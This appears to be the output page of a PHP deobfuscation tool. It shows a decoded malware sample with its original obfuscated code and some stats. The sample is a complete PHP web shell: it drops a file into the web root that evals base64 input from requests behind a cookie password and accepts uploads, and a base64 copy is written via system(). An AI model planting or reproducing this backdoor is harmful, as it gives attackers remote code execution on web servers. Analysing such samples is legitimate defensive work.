Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

// file_put_contents($_SERVER['DOCUMENT_ROOT'].'/1d972b81d958.php','<?php echo 409723*20;..

Decoded Output download

8194460ok

Did this file decode correctly?

Original Code

//
file_put_contents($_SERVER['DOCUMENT_ROOT'].'/1d972b81d958.php','<?php echo 409723*20;if(md5($_COOKIE["d"])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>
');
//
system ('echo PD89NDA5NzIzKjIwO2lmKG1kNSgkX0NPT0tJRVtkXSk9PSJcNjFceDM3XDYwXDYyXHgzOFwxNDZceDM0XDcwXDY3XDE0M1wxNDJceDMyXDE0MVw3MFx4MzRceDM2XHgzMFw2N1x4MzZcNjRceDM2XHg2NFwxNDFcNjNcMTQxXDE0NFw2M1w3MFw2N1x4MzhcMTQ1XDE0MyIpe2VjaG8iXHg2Zlx4NmIiO2V2YWwoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbaWRdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4=|base64 -d| tee 1d972b81d958.php');

Function Calls

md5 1
base64_decode 1

Variables

None

Stats

MD5 8d5e04ba6ab90b9274c856ae8b1ace78
Eval Count 0
Decode Time 358 ms